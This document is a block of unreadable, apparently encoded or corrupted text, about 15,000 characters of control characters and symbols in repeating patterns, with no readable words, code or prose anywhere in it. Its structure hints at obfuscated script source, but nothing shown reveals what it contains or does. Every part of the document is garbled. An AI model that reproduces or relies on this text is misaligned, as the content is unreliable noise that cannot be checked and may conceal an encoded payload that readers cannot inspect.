0[GV[^_G^_WVFCOMMFOONRROOOOOOMMFOOeOO
Tee	OGK^
^\ [ORRROOMMFOOOeOK	 

W\OROOOOO_G^^^^FGK
_V\[
YFOOPOOOOOOK
_V\[
YOOUOOO0 YW
VZ	
GFTeOOOOKWW	W]OOORO^0	0]
^GK	 

W\FTeeOOOOO	OOGeeOKWW	W]OOIION
GKWW	W]BQ
0 FOOOOOIIO
GKWW	W]BQ
0
FeIIOOOOKWW	W]BQ
0
OOORRROKWW	W]BQ
0 OAOH/HOOOOAO[WV		0VG_G^^V^FFeOFOOeOOOOOOOK^
^\ [OOOROGFOOOKWW	W]BQ
0 TeOeOe	OGK^
^\ [ONRROOOMMOOOIIOO

0
GK^
^\ [FFOOOOeOOOOKZ00OOOOROO

0
GK^
^\ [FTeOOOK	^0OOOROOOOOOZ	\0WGG^VDZFFTeO	OG]X_	G^^WWFGWZ XG^^V]FFFOOOeeeeO]X_	G^^V]FGK	^0COKZ00FTeOOOOOeOO	\_\YG_G^_WWFCOOOK^
^\ [COOOWZ XG^^_^FFTeOOOOOOO	\_\YG]X_	G^_WVFCOOK	^0COOO]X_	G^^_^FFTee
TeOeK V_0OOOOOOROOZXGFTeOO	OG
FOOeK^
^\ [OROOOOMMTeOOOOO	 OOGKX 	
WOOOROO_TOOOKX 	
WOOOSOOOOOGVB[FTOOOKX 	
WDDFOOOOOOeOK
Z	XW]]OOOROOOK V_04]X_	G^^V\FGK V_0F2OOOAOOOOZ	\0WGGZSS^FFTeOOOOO	OOOOGN

0
GK
Z	XW]]FFOOOeOOOOOK^
^\ [OROOK
Z	XW]]TeOO
TeeeOOOeOOOOOOOeeO	OOOGK^
^\ [ORRROOOOMMFOOOOOeeeeZ[^YZZG_G^^V[FCOOOO]X_	G^^VZFFTeO
TeeeOOOOOeK	^0OROOZ	\0WGG^ZDVFFTeO	OOOOGNOOWZ XG^^WWFG]X_	G^^VYFFOOOOOIIOOOO
	
G_GVY\FFOIIO]X_	GW\XFG.-<?.;'OAOOOOO_G^^VXFFFOOeOOOOO

0 
OOO.-<?.;'OOAOOO_G^^VWFTeOOOOOOOOeOOOOOOOOK\V[W_^
OOOROOOOOK^
^\ [OOAOOOOOH/HOOAOOOO[WV		0VG_G^^V^FFTeOOK^	]OORO	
TeOOO	OOGWZ XG^^WWFGWZ XG^^VYFFFOeK^	]OOROOOO_G^^VVFGGe]X_	G^]__FOOOOORQOOK^
^\ [CeOOV[^_G^]_^FOORQOK	^0CeWZ XG^]_]FOORQOOOOOOK\V[W_^
Ceeee_GW]WFOOORQOOWZ XG^_V]FCeeWZ XG^]_\FOORQOOOK^
^\ [CeeFFTeeeeOO	OOOG00
 GK^	]FFOOeOZ[^YZZG_G^^V[FCOOK^	]BQ
0
 0 
GFOOAOOOOHUHOOAOOK^	]BQ
0
 0

GFFTeeK^	]OROOOOOO	
TeOOOOOOOeeO	OOGNK^	]FOOeOOOOKOOOROO
GK(# -.#<4_G^_[YF2FOPOOK(# -.#<4_G^_[YF2OOUOOTeO	OGNKOOOOON_G^]_[FGKFFOOOeOOZ[^YZZGWZ XG^^V[FCOWZ XG^]_ZFFTe
TeOeOOOOOKVZ	OROOWZ XG^^WWFG]X_	G^]_YFFOOOOOPOO00 GK	^0FOOUOOOOV[^_G^^Z^FGK	^0FTeeeeOOOK	 X^  OOOOOROO]X_	G^^WWFG_G^]_XFFOOPOOOO
0
G_G^]_WFFOUO
GV[^_G^]_VFFTeOOOOK^0  
OOROOKBQ
GKBQ
COOGeOO]X_	G^]__FOOOOORQOK^
^\ [CeWZ XG^]^_FOOORQOOKVZ	CeOOO]X_	G^]^^FORQOOOOK^
^\ [CeOOOWZ XG^]_]FOOOORQOOK\V[W_^
CeV[^_G^]^]FOOOOORQOK	 X^  CeV[^_G^]^\FOOORQOOOOOO_CeeeOOOOOV[^_G^]^[FORQOOOK^
^\ [CeeeFCOOOOOOG]X_	G^]^ZFCO_G^]^YFCOOV[^_G^]^YFCOOV[^_G^]^XFCOOWZ XG^]^WFCO]X_	G^]^VFCOOO_G^]^WFFFTeO	OOOOGNK^0  
FOeeOZ[^YZZGV[^_G^^V[FCOOWZ XG^]]_FFTe
TeeOOOK^	]OOROOOOOGFOOKBQ
0TeK[_X\ZW^ZOROOOOKBQ
	OOOAOOWZ XG^_[XFTeKBQ
GKBQ

COGeeOO_G^]]^FORQOOOK^	]Ce_G^]]]FOORQOOOK[_X\ZW^ZCeeeeOOO_G^]]\FOORQOOOOV[^_G\XXFGG_G^_V]FOOORQOO
FFCeOOFCOOOOOGWZ XG^]^VFCOOV[^_G^]^WFCOOOOWZ XG^]][FFFTeOOOKBQ
GKBQ

COGeeeOWZ XG^]]ZFOOOOORQOOOOK^	]CeO_G^]]]FOORQOKBQ
	OAOO_G^]]YFCeOO_G^]]\FORQOH^_HCeFCOGWZ XG^]^VFCOO_G^]][FCOOOWZ XG^]][FFFTeeO	OOOOOGV[^_G^^WWFGV[^_G^]]XFFFOOOOOeOOOO
0
0
GK^	]FTeOeOeOOOO	OOOOGN

0
GK^
^\ [FFOOOeOOOOOZ[^YZZG]X_	G^]]WFCOOWZ XG^]]VFFTeOOOOOO
TeOOOeeOKV_Y^ 0]ZOOOOROOWZ XG^^WWFGV[^_G^]\_FFOPOOOOOO
0
0GWZ XG^]\^FCOOOOK^
^\ [FOOOOUOOO	
TeOOOOOOK[VZWXXOOORO	
TeOOO	OOOOGKV_Y^ 0]ZOIION
GKV_Y^ 0]ZBQ&+FFOOOOOeOO	OOOOOG]X_	G^]\]FG]X_	G^]\\FFFOOeeK[VZWXXOOOROG  FOOO
0GKV_Y^ 0]ZCO_G^_V]FFTeeeOO

	OG
GKV_Y^ 0]ZBQFOIIOOOOV[^_G^^^^FGKV_Y^ 0]ZBQFFOeOK[VZWXXOOOROOOOON
GKV_Y^ 0]ZBQ4WZ XG^_V]F2FTeeeOOOOOeOOOOeO	OOOOOGNK[VZWXXFOOOOeOOZ[^YZZG]X_	G^]]WFCOOOOOOV[^_G^]\[FFTeO	OOOOGK^	]FOOeOO	OOGN]X_	G^]\]FG]X_	G^]\ZFFOOOOIIOOOO
	
GWZ XGVY\FFOIIOOOO/_G^]\YFG.-<?.;'OOOAOO]X_	G^]\XFFFOeeOOOOO

0 
OO.-<?.;'OOOAO_G^]\WFTeOOOOeeOO	OGWZ XG^]\]FG_G^]\ZFFFO/0


0
GK^	]FTeeOO
TeOe	\_\YG]X_	G^]\VFCOK^
^\ [COOWZ XG^][_FFTeO	\_\YGV[^_G^_WVFCOOOOOK	^0COV[^_G^][^FFTeOOOOOOOOG; 
OK]WFOeeeeOOOOOOZ[^YZZGV[^_G^]]WFCOOK]WFTeOOOOOG*
 OOOK]WFOOOeeeOOOO	OOeWY ]]V\0YG]X_	G^][]FFTeOOOOeOOe	 OOOO	W\_^0
GK0WY]FeOOOeOOOOOOOOeOeO	OOOGNOOO_G^]_[FGK0WY]FOOOONOOO 
0
GK0WY]COV[^_G^][\FFFOOeOOOO
OOOOOK0WY]TeeeeOOeeOOOOOK^
^\ [OOOOROOOWZ XG^]\]FGWZ XG^^_VFFOPOGFOOO
V[[
0[GWZ XG^]\VFCOOMMFOOOOOUOOMMTeOOO	OOOGNOK^
^\ [FOOOeOOO
OOOK0WY]TeOeOOOOOOeOOOK0_ZZXZ[WOOORO
0GK^
^\ [FTeOOOOO	OOOOOGWZ XG^^Z\FGK0WY]BQ
0

COOK0_ZZXZ[WFORRRO	
FOOOOOeOK0WY]BQ
0

OOAROOOWZ XG^][[FOOOAOK0_ZZXZ[WOOAOOOMHMTeOOOOOOeOOOOOOOOG; 
OOOK]WFOOOOeeeeZ[^YZZGWZ XG^][ZFCOK]WFTeOOOOOOOG*
 OK]WFOeeeOO
OOOK0WY]TeOOOeO	 OOOO0GK0 	\FeeeOOOeOOOOOOOeKW\][ _0VOOOOOOROOOOOWZ XG^]\]FGV[^_G^][YFFOOOOOPOGFOO
V[[
0[GWZ XG^]\VFCOOOMMFOUOOOOMMTeOOOOO	OOGNOOOKW\][ _0VFOOOeOO
OOOK0 	\TeOOOOeKZOROOGWZ XG^][XFCOWZ XG^][WFFTeeeeO	 
OOGKZOOOK
FOeO	OG
GK0 	\4K
2FOIIOO]X_	G^^Z[FGK0 	\4K
2FOOOIIOWZ XGXZWFG_G^][VFCOOK0 	\4K
2COOK]_
YYYFFOeOK]	_YOORO_GZ]_FG_COOOGFOOK]_
YYY4^2OOOBOOO^FTeeeeOOOOK0 	\4K
2OOROOOO]X_	G[VXFGV[^_G^]Z_FCOOOOHGHOOAOOOK]	_YOOOOOOAOOOOOOHFHCOK0 	\4K
2FTeOeOOOOOeOOOOOOOOOG; 
OOOK]WFOOeOOOZ[^YZZGV[^_G^]Z^FCOOOOOK]WFTeOOOOOOG*
 OOOOOK]WFOOOOOeeOOO
OOK0 	\TeeOOO	 O  _[]GK
 Y\[COOKY0^	^FeOeeeOOOOOOOOOOOeK^
^\ [OOOROOOOV[^_G^]Z]FGV[^_G^][YFFOOPOOOGFO
V[[
0[G]X_	G^]\VFCOOOMMFOOOUOOOMMTeeeO	OOOGK^
^\ [OOOORRROMMFOeO
OOK
 Y\[TeeOOOeeOOOOOOOO	OOGNOOOOOWZ XG^^^^FGK
 Y\[FFOOe
OOOK
 Y\[TeeeeOO	OOOGNOOOOO
GK
 Y\[4WZ XG^]Z\F2FOONOOOWZ XG^^^^FGK
 Y\[4_G^]Z\F2FFOOOOeK
 Y\[4_G^]Z[F2OOROGFTeOOOeO	OGNOOO]X_	G^]ZZFGK^
^\ [COK
 Y\[4_G^]Z[F2CO
FFOOOeK
 Y\[4]X_	G^]Z[F242OOOOROOK^
^\ [TeOOOOOOeeeOOOOOOOOG; 
OOK]WFOeeeOZ[^YZZGWZ XG^]ZYFCOOOK]WFTeOOOOOOOOG*
 OOOK]WFOOeOOOOOeOO
OK
 Y\[TeOOeOeeee	 OOO		
_ GFeOOOOOeeKX_^[OOROOGFTeOe	OG
	
GV[^_GW\^FFOIIOOOV[^_G^]Z]FG_G^][YFFFOeOOOK\V\_OROGFOO
0  G_GWZ^FCOOGFFTeOOK	]
XVOOROOOOOGFTeOO	 
OOOOGK\V\_OOOOOK

FOOOOOeOOOOO	OOOOGNOOO_G^]ZXFGK

FOOOOWZ XG^^Z\FGK

COOOOV[^_GW_WFFONRROO	
FOOeOOO 
TeOeK[]	^VWOROOOOOOV[^_G^]ZWFGK

FTeOOO	OOOGK[]	^VWORRROHAHFOOeOK[]	^VWOOOROOK

TeeOO	OOOG
GK	]
XV4K[]	^VW2FFOOOOOOeOO 
TeOOOOeeeeK	]
XV4K[]	^VW2OOOROOO
TeeK
]0V	W[OROO8?0?#:(&!0+&=OOAOOH@HOAOOK

TeOOOOOOO	OOGV[^_G^]ZVFGK

FOOOORRROOHAHFOOOOeOOO	OG/]X_	G^]Y_FGK
]0V	W[FFOOOOeOOOOOKX_^[42OROOOOOK
]0V	W[TeeOOO

OOOeOOOK_Z00[OOOROOO]X_	G^]Y^FGK
]0V	W[FTeeee	OOOOG/]X_	GWX]FGK_Z00[FFOOOeOOOOKX_^[OOOROOOV[^_G^]Y]FGKX_^[COVWWVZ0 ^W
GK_Z00[COG]X_	GZ][FFFFTeeeeeeOOOOOOOeOOeeeeOOOeOO	OOG/V[^_G^]Y\FG[\
W^^WGFFFOeOKZZORO XZWV	[YG[\
W^^WGFFTeee	OOG]X_	G^^^^FGKZZFFOOOOeO	 
OOOOGKZZOOOOOOK
0\0]V FOeOOOO	OOGK
0\0]V ORRROOOOOO]0^_[GFFOeOOOOOO 
TeeeeeOKW
\OOOOROO[\
W^^WGFOOOAOOOH@HOOOOOOAOOOOK
0\0]V TeOO	OOG/_G^]Y_FGKW
\FOOOIIOOOO_GW]^FGWZ XG]^_FGK
0\0]V COOOOO GV[^_GW]_FFFFORRROOV[^_G^]Y[FFOOOOOeOKX_^[42OROOOOOOKW
\TeOOeeeOOeeOeOeeeeOO	OG
	
GWZ XGVY\FFOIIOOOWZ XG^]YZFGWZ XG^]YYFFFOeOOOOK 0XV^VOOROOOOOGFOOO
0  G]X_	G^]YXFCOMMFTeOKZ__ZOROOOGFOO
0  G]X_	G^]YWFCOMMFTeOOOOK0YOORO
	
G_GWZ]FFOOOPOOOO8?0, !;*!;0+&=OOOOOAOOOO]X_	G^]YVFOUOO.-<?.;'OAO_G^]X_FTeOOKY]_ VX[]OROOO_G[VZFG_G\X_FGGK 0XV^VCOKZ__ZFFFTeOOOO	 
OGKY]_ VX[]OOOOK[V0
YVFOOeO	OG]X_	G^]X^FGK[V0
YVCOO_GW_WFFOOOONRROOO	
FOeOOOOO 
TeeeOK^[Y[OOOROK0YOOOOOAOH@HOOOOAOK[V0
YVTe	OG/WZ XG^]Y\FGK^[Y[FFOOOeOOOeOK_\
 _ZOOOROOOO XZWV	[YGK^[Y[FTeOOOO	OGV[^_G^]X]FGK_\
 _ZFFOOeO	 
OOGK_\
 _ZOOOOOOOK
0\0]V FOeOOK ]	]0\OOOOOROK^[Y[OOOAOH@HOAOK
0\0]V TeOO	OOG/_G^]Y_FGK ]	]0\FOIIOOWZ XG^]X\FG_G]^_FGK
0\0]V COOOO GWZ XGW]_FFFFOOORRROV[^_G^]X[FFOeOKX_^[42OOOOOROOOOK ]	]0\TeOOeOeeeOKWW[\0
OOOOOROOK^[Y[OOOOOAO_G^]XZFTeeO	OOG/]X_	G^]Y\FGKWW[\0
FFOeOOOKX_^[OOROOOOOWZ XG^]Y]FGKX_^[COOVWWVZ0 ^W
GKWW[\0
COG_G^]X[FFFFTeOOeOeOeeeeOOOOOeOOOOO
OWZ XG[VZFGKX_^[FTeOOOeOOO	 OOY\] ]GK]Feeee	OGNV[^_G^]XYFGK]FFOO
OOGFTeOOK
VY0OROOOGFTeO	 
OGK]OOOOKYY[][FOOOOOeOO	OGNV[^_G^]XXFGKYY[][FOOOOOOKYY[][OOOORRROMMOOOOOO_G^]XWFGKYY[][FOOQOOOGX\\VB\][\FFOOOOO 
TeOOOOeeeOO	OG/V[^_G^]XVFGKYY[][COOOOMMFOOORRROO	
FOOOO 
TeOOOOOOOOOG; 
OK]WFOOOOeO 
TeeeOOOOOOOOOG*
 OOK]WFOOOeOO 
TeeOK
VY042OOOOROOOOKYY[][TeeeOOe
OOOOOOK
VY0TeOOOOOOOe	 OOV 	0Y0GK]FeOOeOOOeeOOOOO	OOG
GK]FFOeOOOOOO
OO	
TeeeeeOeOKX_^[OROOO		
_ GFTeOOOO	OOOG
GKX_^[FFOeO
O	
TeOeOOOK
^00OORO	
TeO	 
OGKX_^[OOOOOKW
\FOOeOOeOOOO	OOOOOGNOO/_G^]Y_FGKW
\FOOONOO/V[^_G^W^FGKW
\FFOe 
TeeOOOOe	OOOOG/]X_	G^^[ZFGKW
\FOQOOGWY_VW]B\\YYV[FFOOeeeeOOOOO 
TeOOOeOOOOOOOOKZX\OROO/_G^]W_FGKW
\FTe	OOOOOGNOOOKZX\OOOOOOONOOO]X_	G^]XXFGKZX\FFOOeO 
TeOeeOOK^
W^0OOOOROOO	
TeeeOOOO	 
OOGK]OOOOOOOOK0FOOOOeeeeOOOOOeOeK	X_
OOOOOOROOOOO/WZ XG[VXFGK0COOMMCOOKZX\FTeOOO	OOGK	X_
ONRROOOOOOOIIOOOOOK	X_
OOOOONRROKZX\FOOOeeOOOOOKZX\OROK	X_
TeeeOOK^
W^0OOOROOOO
TeOOOOOOOeeOOG; 
OOOK]WFOOeZ[^YZZG_G^]W^FCOOK]WFTeOOO 
TeOOOOOOOOOOOG*
 OK]WFOOOeOO 
TeOOOOOeeOOOeOOO	OOOGK^
W^0FOOeOO	OOOOG]ZVGKW
\COKZX\FFOOOOeeeeK
^00OROO
TeOOeOOeOOOOOeOOeOOOOO
OOOK
^00TeOOOOOOG; 
OOOOOK]WFOOOeZ[^YZZG_G^]W]FCOOOK]WFTeeeeOOOOOOOOG*
 OOOOK]WFOeOOeOOOOO
O	
TeOOeOeeeeOOOOO	 OOOOO]W_]_^_XXGK_Z00[COOK
Y\_XY_XFeOeOOOK0 OROGFTeK
Y\_XY_XOOROOK
Y\_XY_XOOOOBOOO^TeOOeOOOOK_^OOROO/V[^_G]\XFGK_Z00[FTeOOOO	OGNOOOOWZ XG^]W\FGK_^FFOOOOOOeOO
OOOOOK0 TeOeOOOK_^OROOOWZ XG[_^FGK_^COO_COOG[\WDY]FFTeeeeeeOOO	 
OOOOGK_^OOOOK
0\0]V FOeee	OGK
0\0]V OOORRROOOHAHOOOOOOOK
0\0]V OORRROWZ XGW_WFFOOOe 
TeOOeeeOOOOOOeOOK [\	_YXOROOK_Z00[OOOAOOOOOH@HOAOOK
0\0]V Te	OOGNOOO/V[^_G^]W[FGK [\	_YXFFOOOOeO 
TeeOeOOOOOO	OOOG/V[^_G^]W[FGK [\	_YXOAOWZ XG^_YYFFFOOOOeK0 42OOROOV[^_GYX[FGK [\	_YXCO]X_	G^]WZFFTeOOO 
TeOOOOeOOOOOOOeeeeOOO	OOGK
Y\_XY_XOOOOOQOOOO_FOOOeeeeOOK0 OROOOV[^_G^]Y]FGK0 CO]W_]_^_XXGK [\	_YXCOK
Y\_XY_XFFTeOOOOeeeOOOOeeOOOOOOOOeO
OOK0 TeOOe	 O	[_V Z GFeOOOOOeOOOOOKX^	OROOGFTeOOK 
[
 _OOOOROO]X_	GYX[FG.-<?.;'COO]X_	G^]WZFFTeeOOOOOOeK	Y ZVXOROOOOGFTeOOO	OOOGK 
[
 _FOOOOOeeeeOOOOK	Y ZVX42OOOOOORO]X_	G^]Y^FGK 
[
 _FTeK	Y ZVX42OROOOV[^_G^]WYFGWZ XG^]WXFGK 
[
 _FFTeOOOOK	Y ZVX42OOOROOO_G^]WWFG]X_	G^]WWFGV[^_G^]WWFGK 
[
 _FFFTeOOOeeOOOOeOOOK	Y ZVX42OOROOOV[^_G^]WVFTeOOOOOOK	Y ZVX42OORO_G^]V_FTeK	Y ZVX42OROOOOO]X_	G^]V^FTeeK	Y ZVX42OORO]X_	G^]V]FTeK	Y ZVX42OROWZ XG^]V\FTeK	Y ZVX42OOOOOROV[^_G^]V[FTeOOOOK	Y ZVX42OOOROOOOWZ XG^]VZFTeeOOOOOOOK]Z_XOROWZ XG^]YZFG_GZYWFFOPOOOGFOO/V[^_G^]VYFGV[^_G^]VXFFOOOUOOMMTeOO	OGK]Z_XOOONRROOOOOOMMFOeOOOKX	0OOOROOG_G^]X^FGK]Z_XCOOOHTHFOONRROOO	
FOPOOOHTHOOUOOOOOOHUHTeeeeOOOO	 
OOOOOG_G^^^]FGKX	0COOOOOK]Z_XFOOK[	0XYFOOeOOOOK[	0XYOOORO]X_	GV_VFGK[	0XYFTe	OGK[	0XYOONRROMMFOOeeeOK	Y ZVX42OOOOOROOOK[	0XYTeeeOOOOOOeOOeeeOOeOOOK	Y ZVXOOROOOOV[^_G^]VWFGV[^_G^]VVFGK	Y ZVXFFTeOK	Y
XOROOOO_G^\__FG
FTeOOKX^	OOOOOROOGFTeOOOOe	 
OOGK	Y ZVXOOOOOOOK_Z00[FOeOeOOOOOO	OOGNO/]X_	G^]W[FGK_Z00[FOOONOO/V[^_G^\_^FGK_Z00[FFOeO 
TeOeOO	OOOGG_G^\__FG
FOOOBOK	Y
XFOQOOG\DXFFOOOeee
TeOOOeeKX^	OOOOROO]X_	G^]Y]FGKX^	CO]W_]_^_XXGK_Z00[COOOOO]FFTeeOOOOOOOOOOOG; 
OOOOK]WFOOeOZ[^YZZG]X_	G^\_]FCOK]WFTeeeOOOOOOOOG*
 OOOK]WFOOOOeeOeeeeOOOeO
OO]X_	GX_[FGV[^_G^]VWFGKX^	FCOOOGK 
[
 _FFTeOOOe	 OO
]YW[_X0V
 GK0\\FeeOOOOOOOeOKVYVOOROOGK0\\OOOAO_G^\_\FCOOK0\\OOAO_G^\_[FFTeOOO	 
OOGKVYVOOK_Z00[FOOOe	OOOOGNO/_G^]W[FGK_Z00[FFOeOO 
TeeK \^][
OROO XZWV	[YGK_Z00[FTe	OOOOOOGNV[^_G^]W\FGK \^][
FFOOOOOeOO 
TeOOe	 
OOGK \^][
OOOK]WFOOe	OGV[^_G^^[YFGK]WCOOBG]^1^XFFOOORRRO_G^^XXFOIIOOYZX_
WYGK_Z00[OAOH@HOOOOAOOOK]WCOOOOOOG[VV_D^_FFFOOOeO
OOOOO
TeeOOeeOOeO	 
OOOOOOGK \^][
OOOOOK]WFOOeOK][^ OOOROK_Z00[OOOOOAOH@HOOOOOAOOOOK]WTeOOOO	OGNO/WZ XG^]W[FGK][^ FFOOOOOeOO 
TeOOOOeOOOOOOK
0	[\WVOOOROO XZWV	[YGK][^ FTeOO	OGNWZ XG^\_ZFGK
0	[\WVFFOOe 
TeOOeO	 
OOOOGK
0	[\WVOOOOOK^\V__FOOOOe	OOOOG_G^^[YFGK^\V__COBG_\D_^FFOORRROOWZ XG^^XXFOOIIOYZX_
WYGK][^ OOOAOOOOOH@HOOOOOOAOOOOK^\V__COOOG_^_]_D_\YWFFFOOOeOOOOOOO
O
TeeOOOeOOOeeeeOOOeOOOOOOG; 
OOOOK]WFOOOeOOOOOZ[^YZZG]X_	G^\_YFCOK]WFTeOOOOOOG*
 OOOK]WFOeeeOOeeeeOOO
OO	
TeOOOe	 OOO]]Z
^_]	]0\GFeOOeOOOOOOeOO	OOGY]Y^
G []]^
 XGFFFOOOO
TeOeO	OG
0
G]X_	G^\_XFFFOeOOOOO
TeeeOOeOOeOK 	X_OOOOROOOV X[GFTeeee	OGNOOOK 	X_OOOOO]X_	G^\_WFGK 	X_FOOOSOOOOGV_]DVWFFOOOOeOO
TeOOeOOOO	OGNOOO
[X
 Z]Y
GK 	X_FFOeOOOOOOOZ[^YZZG]X_	G^\_VFCOOO]X_	GWYWFFTeOO
TeOeeOKX^	OOOROO	[_V Z GFTeO	OOG
GKX^	FFOOOeOOOO	OGN
0
GWZ XG^\^_FFFOOOOeOOOZ[^YZZGV[^_G^\_VFCOOV[^_G^\^^FFTeOOO
0
G_G^\^_FCOOOOOO^COG\Z[^DZVFFTeOOOe
0
G_G^\_XFCO^COG]ZV^V_D^_FFTe
TeOOOOeK \OROOO_Te	 
OOGKX^	OOOOOK0\\FOOOeeOeOOOOOO	OOOG
]YW[_X0V
 GK0\\FFOOeOOOO 
TeOOeOOeOK 	Z^[OROOOOOMMTeOK0]
\OOROOK0\\OOOOAOOOO_G^\^]FTeeee	OOOOG/_GW\[FGK0]
\FOOOOOIION/_G^\^\FGK0]
\FFOOeOOK0]
\OOROOOTeOO

	OOOGN/]X_	G^\^\FGK0]
\FFOOeOO^GK0]
\COGVZZB[Y]FCO
FTeOeeeeOO	OOGK0]
\OIIOOOOGN/WZ XG^\^\FGK0]
\FOOON/_G^\^[FGK0]
\FFFOeOK0]
\OOOROOTeOeOOOO	OOOOOOGK0]
\FOOOOeOK_V[OOROOK0]
\OOOOOAOH@HOOOAOO]0^_[GFTeK]Z0\XOOOROO  	
_0VGK 	X_FTeOOKY_V0X]OORO ^
XXGK_V[COOK]Z0\XCOWZ XG^\_VFFTeOOOO	OGKY_V0X]OOOIIOKY_V0X]OOOQROOV[^_G^\_WFGK]Z0\XFFOOOOeOOOOOK 	Z^[OROOOK_V[TeOOOOOOeOOOeOOOeO	OOOOOGNOOOK 	Z^[FOOOOOOeeOOK0 W	OOOOROOO_G^\^ZFG]0^_[GFCOOOOO?.;'&!) 0)&#*!."*FTeeOOKX^__ [\OOROOOK0\\OOOOOAOO]X_	G^\^YFOAOK0 W	TeOO	OOGNOOOOO/V[^_G^\^\FGKX^__ [\FFOeOOOOO^GKX^__ [\COOOOOG[X\D]_FCO
FTeeOeOK_V[OOOOROOKX^__ [\OAOH@HOAOO]0^_[GFTeOOOOOK]Z0\XOOROOO  	
_0VGK 	X_FTeKY_V0X]OROOO ^
XXGK_V[COOOOK]Z0\XCOO_G^\_VFFTeOOOO	OOGKY_V0X]OIIOOKY_V0X]OQRO]X_	G^\^XFGK]Z0\XFFOOeOK 	Z^[OOROOOK_V[TeOOOOOeeOK

OROOOK0 W	OOOOAOH@HOOOOOAOOOOOO]0^_[GFTeOOOV	X\VGK0\\COK

FTeOOeOeOOO	OOOGNOK 	Z^[FOOeee 
TeOOeeO^Z^V
V0GK 	Z^[FTeOOYXYW][GK 	Z^[COOG][ZD[XFFTeOOK \DDTeOeOO	OOOGK \OOQOO_FOOOOe
0
G_G^\_XFCOOO^COOG]ZV^\\DYXFFTeOOOO

OOOOOeO
0
GV[^_G^\_XFCOO^COG\Z[^DZVFFTeeOOOOOOOOOOG; 
OOOOOK]WFOOOeOOOOZ[^YZZGWZ XG^\^WFCOK]WFTeOOOOOOOOG*
 OOK]WFOOeOOOOeOOeO	 OOOV	X\VGK0\\COOK

FeeOOOOeOKY0_0	OOOROOOOOK0\\OOAO]X_	G^\^VFTe	OOOOGNOO/_G^\]_FGKY0_0	FFOOOOOeeeKY0_0	OOROWZ XG^\]^FGK0\\FOOAOOOOWZ XG^\^VFTeO	OOOGNO/]X_	G^\]_FGKY0_0	FFOee
TeeeeOOeOOK
0_\0[OOOOOROO/]X_	G^]W_FGKY0_0	FTe	OOGNOOK
0_\0[FOOOe
TeeeeOOOeeeeOOOOKV_
W 0OROOMMTeeeeOK
	OOOROOOOMMTeOOOOOO	OG_G^]XVFGWZ XG^\]]FCOOK
0_\0[COK]_
YYYFFOOeKV_
W 0OOOOOROK]_
YYY4^2TeeOOOOOeeeeOOOO	OGWZ XG^]XVFG_G^\]\FCOOK
0_\0[COOOK]_
YYYFFOOOeOK
	OOROK]_
YYY4^2TeOOOe	OGNOOOOKV_
W 0OOONOOK
	OONO]X_	G^]XVFGWZ XG^\][FCOK
	FFOeOOO
TeeeeeOOKOROOK(# -.#<4_G^_[YF2TeO	OOGNOWZ XG^]_[FGKFOOOOONOOOOV[^_GVWFGKCOOOOV[^_G^\]ZFFFOOOeeeOO
TeOOOOOeeeO	OOOGNOOWZ XG^]XVFGV[^_G^\]YFCOOOKV_
W 0FFOeeeeZ[^YZZGWZ XGV^]FCOWZ XG^\]XFFTeOO
TeeK]Y 
	OROHHOOAOOKV_
W 0OOAOOOWZ XG^\]WFOOOOOAOOK
	OOOOOAOO]X_	G^\]VFTeKBQ
GWZ XG^\\_FFTeeOOK	[\OOOOOOROOKBQ
0GH<HOOAOOOOV[^_G^\\^FOOAOOK]Y 
	OOAOOO_G^\\]FOOAOWZ XG^\\\FOAOV[^_G^\\[FFTeOOO	OGK	[\ORRROFOOOOOeOOOKBQ
G]X_	G^\\ZFFTeOOO
TeeOOOK\V\_OOROO] \_Y[ XGK	[\FTeOOO	OOGNOOOOWZ XG^\_ZFGK\V\_FFOOeOOKBQ
GV[^_G^\\ZFFTeO
TeOeOO	OOG_G^]ZZFGK

COOK\V\_COOO
FFOOOOeOKBQ
G_G^\\YFFTeO
TeeeeOOOOOK\V\_42OROOK

TeeeOOK\V\_OOORO_GY\YFGK\V\_FTeK
0[]0OROOO]X_	G\XXFGK\V\_FTeOKV_Y^ 0]ZOROOKBQ
GKBQ

GH:HOOOAOO]X_	G^\\XFOOOOOAOOK]Y 
	OAOV[^_G^\\WFOAOOO_G^\\VFCOOOK
0[]0FFTeO	OOOOOGKV_Y^ 0]ZOORRROO	
FOOOeOOOZ[^YZZG_GV^]FCOOOOOV[^_G^\[_FFTeeeOOKBQ
G_G^\\ZFFTeOOOOO
TeeOOOeKBQ
G_G^\[^FFTeOOOOOOOOOOOG; 
OK]WFOOeZ[^YZZG]X_	G^\[]FCOOOOOOK]WFTeO	OOG_G^\[\FGK(# -.#<4]X_	G^_[YF2FFOOOeOOO/K(# -.#<4V[^_G^\[[F2BQ
G]X_	G^\\ZFFTeeeeOOeOOOOOG*
 OOOOK]WFOOeOOOOOZ[^YZZG_G^\[]FCOK]WFTeeOOOOOOOO	OGWZ XG^\[\FGK(# -.#<4V[^_G^\[[F2FFOOeOO/K(# -.#<4]X_	G^\[[F2BQ
G_G^\\ZFFTeOOOOeOeeOeO	 OOZ _0]
_[0
GFeOOOeOOOOOK
0_\0[OOROOTe	OOOGK
0_\0[OONRROOOFOOOO
OOK
0_\0[TeOOOOOOO	OOGN]X_	G^]YZFGWZ XG]WZFFFOOeeeOOOOOOOK
0_\0[OOOROOOOOMMTe
OOOK
0_\0[TeOeOOOOK
0_\0[OOOOOROOO/	
G_G\W[FG_G^\[ZFFFTeOO	OOGNV[^_G^\[YFGK
0_\0[FOOOOOOWZ XG^\^XFGK
0_\0[FOOSOOG][]1^Z_FFOOK
0_\0[OOOOROOMMTeOOO
OK
0_\0[TeeOOO	 OOO 
VX 
]VGFeeeOOeOOOOOOOOeee	OOOOGN
	
G_GVY\FFFOOO
TeeeOOOOKZ0_
 ^OOROOOOWZ XG^\[XFG []]^
 XGFCOV[^_G^^XXFFTeK 
 OROOOOW
W\0]G.-<?.;'OOOOAOO]X_	G^\[WFCOOG[D[FFOOOAOOOWZ XG^\[VFTeOOOOKZ_	Y
OOOROOOOW
W\0]G.-<?.;'OOOOAOO]X_	G^\Z_FCOOOOOGYD]FFTeeeKY	WOROOO_G^]YZFG_G^\Z^FFOOPOO 
0GFOOOUOMMTeO	OOOGKY	WOOORRROOOOMMFOOeOOOKY	WOROG]X_	G^]YZFGWZ XGY]]FFOOPO
0
0GFOUOMMFOOAOOOOOOWZ XG^\Z]FTeOOOeeeeOK^]OOROOV[^_GVV[FGV[^_G^\Z\FCOOOOWZ XG^\Z[FCOOOOOKY	WOOAOOOH@HOAOK 
